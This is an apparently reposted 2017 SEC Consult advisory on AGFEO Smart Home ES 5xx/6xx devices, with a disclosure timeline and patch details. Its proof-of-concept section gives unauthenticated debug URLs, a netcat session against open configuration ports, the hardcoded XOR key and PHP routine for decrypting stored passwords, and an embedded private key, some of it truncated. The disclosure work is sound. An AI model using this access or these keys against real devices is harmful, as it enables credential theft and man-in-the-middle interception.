==============================
title: Multiple critical vulnerabilities
product: AGFEO Smart Home ES 5xx
AGFEO Smart Home ES 6xx
vulnerable version: at least 1.9b, 1.10
fixed version: 1.12c
CVE number: -
impact: Critical
homepage: https://www.agfeo.de/
found: 2016-12-28
by: T. Weber (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
https://www.sec-consult.com
==============================
Vendor description:
-------------------
AGFEO GmbH & Co. KG is a vendor of telephone systems and other
(tele-)communication products like DECT phones, headsets or smart home
products as well.
Business recommendation:
------------------------
The available patches should be installed immediately.
SEC Consult recommends not to use this product in a production environment
until a thorough security review has been performed by security professionals
as there are indications for further security issues.
Vulnerability overview/description:
------------------------------
1) Unauthenticated access to web services and authentication bypass
A web service with multiple scripts for debug purposes is accessible
on an unusual port on the device. There is also a script to read files from
the filesystem. As the web service runs with root privileges all files
on the operating system can be read by an attacker. This only affects the
ES 5xx product line, all other vulnerabilities affect both ES 5xx and 6xx.
The configuration of the device can be changed and arbitrary updates can be
uploaded as well as music files for the answering machine. By reading the
database content, the usernames and their passwords can be revealed and easily
decrypted. This way the administrator password can be dumped from the database
and the device can be fully administrated by an attacker.
The normal user interface has an additional development subfolder which was
probably used during the development process. Updates can be triggered from
this sub platform and log files, statistics and states can also be displayed.
2) Unauthenticated access to configuration ports
Multiple different instances of TCP services are present on the device. Each
of the listening sockets is forked from a debug and configuration service.
Internal device information can be read from the device. Among other commands,
the configuration of the device can also be altered by using these services.
3) Hardcoded cryptographic keys
Three certificates including their private keys are embedded in the firmware
of AGFEO ES 5xx/6xx SmartHome products. The certificates and keys in both
product lines are exactly the same. One certificate is used for HTTPS
(default server certificate for web based configuration and management).
Impersonation, man-in-the-middle or passive decryption attacks are possible.
These attacks allow an attacker to gain access to sensitive information like
admin credentials and use them in further attacks.
4) Multiple reflected cross site scripting (XSS) vulnerabilities
The ES 5xx SmartHome products are vulnerable to reflected cross site scripting.
Malicious JavaScript code can be executed in the browser of a victim by luring
to a handcrafted link. This is possible even if the victim is not logged in.
It is assumed that the 6xx products are affected as well but those could not be
tested.
Proof of concept:
-----------------
1) Unauthenticated access to web services and authentication bypass
The debug web service is available by using the following url:
http://<Device-IP>:20011/
There are different scripts accessible, the following actions can be executed:
-) Change IP configuration
-) Change time zone
-) Upload updates (Any files can be uploaded to the device!)
-) Read all files on the filesystem
-) Play, delete and move voice messages on all mail boxes
-) Converting mp3 files to wav files
-) List all connected phones and the related numbers
The SQLite database is located under "/home/profile/poolstore.db". By reading
this file the usernames and passwords can be dumped. The passwords are encoded
with base64 and encrypted with XOR. To decrypt the XOR'ed password the
following key has to be used:
"0x42 0xab 0xce 0xfa 0x54 0xed 0xcf 0xba"
The function to decrypt the password was found in the php script "login.php":
function decodePassword($PasswordEnc)
{
$PasswordBinaryEncBase64 = "";
$PasswordBinaryEnc="";
$PasswordBinary = array();
$Password = "";
$lastChar=0;
$Key=array(0x42, 0xab, 0xce, 0xfa, 0x54, 0xed, 0xcf, 0xba);
$PasswordBinaryEncBase64 = $PasswordEnc;
// base64 decode
$PasswordBinaryEnc = base64_decode($
// xor decode
for($i=0; $i<strlen($PasswordBinaryEnc); $i++) {
$PasswordBinary[$i] = ord($PasswordBinaryEnc[$i]) ^ $Key[$i % count($Key)]
^ $lastChar;
$lastChar = ord($PasswordBinaryEnc[$i]);
}
// erstes Zeichen entfernen (random char!)
foreach ($PasswordBinary as $chr) {
$Password .= chr($chr);
}
$Password = substr($Password, 1);
// printf("%s:%d Password %s\n", __FUNCTION__, __LINE__, $Password);
return $Password;
}
An additional subfolder, which contains debug scripts, is available under the
following location:
http://<Device-IP>/shdev/ui9.
Updates can be triggered, logs can be shown and status messages can be gathered
within this functionality. Furthermore, it is possible to debug the login
process. Since there is a hardcoded user "admin" a brute force attack is also
possible.
2) Unauthenticated access to configuration ports
The following TCP ports can be accessed with "nc <Device-IP> -p <Port>":
19002, 19004, 19006, 19009, 19010, 19080, 19081
By connecting to one of these ports a debug interface spawns. For example the
connection to port 19081:
$ nc 192.168.0.40 19081
Start Menue: <Return>
========< UPDS - Menue >========
s: show state
h: help
D: DEBmod on
d: DEBmod off
L: LOG on
l: LOG off
S: SERVICE-SUBMENUE
q: Quit telnet session
========= NOT AKTIV ===========
s
status ausgeben (noch nicht vollstaendig implementiert)
upds <Timestamp> bState: 00
upds <Timestamp> bLastReceiveBlockNum: 15
[...]
S
upds <Timestamp>
upds <Timestamp> ===== service-menue ======================
upds <Timestamp> help help
upds <Timestamp> q quit
upds <Timestamp> D dial
upds <Timestamp> d disconnect
upds <Timestamp> ============ NOT AKTIV ===================
service submenue
3) Hardcoded cryptographic keys
Refer to our study on hardcoded cryptographic secrets in embedded systems for
further information.
http://blog.sec-consult.com/
IoT Inspector (http://www.iot-inspector.com/
vulnerability.
OpenSSL output for the certificate:
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 10293758115057549292 (0x8edac6778bccbfec)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=DE, ST=Some-State, L=Bielefeld, O=AGFEO GmbH & Co. KG, OU=Dev,
CN=info/emailAddress=info@
Validity
Not Before: Oct 21 14:03:55 2014 GMT
Not After : Mar 8 14:03:55 2042 GMT
Subject: C=DE, ST=Some-State, L=Bielefeld, O=AGFEO GmbH & Co. KG, OU=Dev,
CN=info/emailAddress=info@
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:be:79:ad:17:e8:c7:9e:63:b3:
29:66:22:ce:63:99:6a:a5:31:f4:
94:d6:65:8c:4e:43:6b:e4:d4:f1:
67:50:10:09:b8:60:b3:cd:be:23:
7a:cf:3a:e2:f0:51:f9:a5:f3:c5:
68:b1:59:f5:5b:d8:dc:3e:1d:00:
12:70:c7:97:05:a5:da:80:14:2c:
1a:b8:f8:6b:71:5e:91:04:da:43:
01:b7:15:a1:7b:8f:52:21:06:ad:
ac:b2:14:fe:30:38:96:5e:28:b8:
28:3c:ac:a0:95:c8:07:39:b7:df:
77:31:a8:55:f6:ab:c7:17:16:03:
fd:37:65:2c:b0:aa:47:59:fe:d6:
9e:93:4b:f0:87:77:90:f6:5c:e4:
d8:37:e4:7d:2f:bd:f4:04:fd:67:
00:dd:72:74:a2:fe:1a:00:27:8b:
82:52:6d:61:2c:62:02:b2:e8:ab:
ba:57
Exponent: 65537 (0x10001)
Signature Algorithm: sha256WithRSAEncryption
37:12:cb:94:9a:51:f8:9a:04:9f:
b5:79:2b:49:5d:b6:65:82:76:c0:
56:ea:0b:2e:41:f5:61:d1:12:d4:
f1:0e:0d:da:37:91:ee:92:dd:9a:
33:d6:ec:74:c0:3a:46:7f:82:02:
00:64:10:e1:9c:81:3b:c9:8e:6b:
08:51:30:25:b1:a0:ed:f0:de:2e:
a8:26:c3:25:f0:53:8e:1f:8a:aa:
a5:a9:e8:26:a9:ba:75:f0:84:5d:
16:ce:88:16:ca:72:f2:43:7a:08:
43:3c:5a:30:d4:31:dc:68:a5:5c:
a3:3e:f1:5d:39:f4:89:d7:f0:f3:
ef:e1:d8:59:f9:d0:5a:11:af:53:
94:90:de:59:91:59:ff:f3:1b:5a:
0a:bc:62:3c
Certificate:
-----BEGIN CERTIFICATE-----
MIIDnDCCAoQCCQCO2sZ3i8y/
REUxEzARBgNVBAgMClNvbWUtU3RhdG
A1UECgwTQUdGRU8gR21iSCAmIENvLi
DARpbmZvMRwwGgYJKoZIhvcNAQkBFg
MDM1NVoXDTQyMDMwODE0MDM1NVowgY
b21lLVN0YXRlMRIwEAYDVQQHDAlCaW
YkggJiBDby4gS0cxDDAKBgNVBAsMA0
SIb3DQEJARYNaW5mb0BhZ2Zlby5kZT
AQoCggEBAL55rRfox55js7tnzr15KW
gUxyZ1AQCbhgs82+
EnDHlwWl2oAULMeuau+
/jA4ll4ouGiy0+
R1n+
i7iWpgyTglJtYSxiArLoq0Xkh5jSul
NxLLlJpR+
2eMqu+
O8mOa3PV4d97YNS2CFEwJbGg7fDeLh
panoJqm6dfCEXeDnA3WgpmTEFs6IFs
IHvu5qIEoz7xXTn0idfw87TmXoHNYD
//MbWu9/qjPCR1AFCrxiPA==
-----END CERTIFICATE-----
Private Key:
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAA
Z869eSlmIs5jmWqlMfRwXz+
5HrPOuLwUfml88VnXQHpcmixWfVb2N
+
yAc5t9+
XORk0ZaZ1dg35H0vvfQE/
5IeY0rpXAgMBAAECggEAI7joKJrEjU
aGgmnQT+
czu3RRyXGKwf2zzjavC++
hPc5utxQQ5WTDfUD84Y2ELJx/
Kif3DxpB6reMP5s1zhmfJcF9pPrr6j
INHugNN/v+/6ia06aZtknxYoG+
iaxpueYsAizJx9GkdCh7StN8ZWADpZ
FXeAM8cPIm7xUpRQDLKfhU9YA9/
UySE3aTSCJCwSerpFZWoPqsbOwKBgQ
wxFlZ/78DI8+2h1H5LGd/
SBeA3gzcD7IOpW2GqyN8tt8cWo48mo
sTclSDuTlQKBgQDZyRGk97oPazGT+
Lj1Dqq+da/R4KJ1wtuImiBqPKZ/
2elCgc3lPspXYBxL71nKdsZPkXT/
SEM465wmSzU0v34GesZWKUj/
WxgyYC9wPviKdj2MqUpn9DAbRz0zbk
vVStyQHkMRCqUs7xI9hoepFSm/
SoMEUPEIEdxXYEy8Rudh9VVIJQW4tv
3NuLEq2urJAC7z8smqkvWm2xo91j+
+K62TQB1mEb1t9WQsxJYGcUiyg==
-----END PRIVATE KEY-----
4) Multiple reflected cross site scripting (XSS) vulnerabilities
The following crafted requests can be used to trigger the cross site scripting
vulnerability at different entry points:
http://<Device-IP>:20011/ais.
http://<Device-IP>:20011/
http://<Device-IP>:20011/
http://<Device-IP>/pbxapi/
http://<Device-IP>/pbxapi/
http://<Device-IP>/pbxapi/
http://<Device-IP>/pbxapi/
Vulnerable / tested versions:
-----------------------------
One firmware is available for the whole ES 5 product line, and another one for
the product line ES 6. Therefore, all vulnerabilities which have been found in
one product of ES 5/6 are also available in all other products of ES 5/6.
The following product / firmware version has been tested by SEC Consult:
ES 512 Version 1.9b (es5xxv19b_c063be6)
ES 512 Version 1.10 (es5xxv110_f105485)
Based on results of the SEC Technologies IoT Inspector
(http://www.iot-inspector.com/ - automated firmware analysis tool) we believe
that the product line ES 6 is also prone to the identified vulnerabilities
(except the web service on port 20011) as well as product line ES 5.
Firmware Version 1.9b (ES6xxv19b_c063be67b9c2ba)
Firmware Version 1.10 (ES6xxv110_f105485715a360)
Vendor contact timeline:
------------------------
2017-01-10: Contacting vendor through info@agfeo.de and set release date
to 2017-03-01 according to SEC Consult responsible disclosure
policy.
2017-01-12: Contact asks for getting the security advisory unencrypted.
Sending security advisory unencrypted.
2017-01-17: Call with vendor. Vendor is working on a fix of the found
vulnerabilities.
2017-02-06: Asking for status update via mail; Contact responds that
most of the vulnerabilities are fixed and a new version will
be available soon.
2017-02-22: Asking for status update via mail. Contact responds that
a new firmware is available soon.
2017-02-24: New firmware version is 1.12 for ES 5/6 series.
2017-02-28: The firmware will be available in CW11. Shifting release of
advisory to 2017-03-15.
2017-03-13: Asked for a status update.
2017-03-14: Vendor responds that the update will be available on
2017-03-21. Shifted release to 2017-03-21.
2017-03-20: Asked vendor when the updated firmware is available as
download; Vendor responds that the updated firmware which
contains fixes for all vulnerabilities can be received after
contacting their Hotline. They also stated that the update
will be available on the homepage in the next few days.
Informed the vendor that the advisory will be published
when the update is available on the homepage in the next
few days. Shifted release to CW14.
2017-04-05: Asked for status update. Vendor responds that firmware will
be available next week. Shifted release to unknown.
2017-04-24: Asked whether the download is available or not. Firmware
will be available next week.
2017-04-25: Found new version 1.12a for ES 6xx on vendor home page.
2017-05-26: Found new version 1.11a for ES 5xx on vendor home page.
2017-05-29: Asked whether the current firmware contains all the fixes.
Vendor responds that only a part of the vulnerabilities
is fixed. They also state that v1.12b is for all products
except "ES5xx up" will be available this week. This
firmware contains all fixes.
2017-06-06: Asked vendor for the actual state, because the contact said
that all vulnerabilities are fixed and the firmware can be
received after calling the hotline. Asked vendor which
vulnerabilities are actually fixed; No answer.
2017-06-14: Informed vendor that the advisory will be published on
2017-07-12 because of the long "ping-pong" game without
real outcome.
2017-06-22: Contact stated that version 1.12c will be available next
week.
2017-07-03: Found new version 1.12c for ES 5/6/7 on vendor home page
(available since 2017-06-30).
2017-07-12: Coordinated release of security advisory.
Solution:
---------
Call AGFEO hotline (+49 521 44709-0) or log in to the vendor home page
to get the newest firmware version.
Workaround:
-----------
None
Advisory URL:
-------------
https://www.sec-consult.com/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_
EOF T. Weber / @2017
Komentarų nėra:
Rašyti komentarą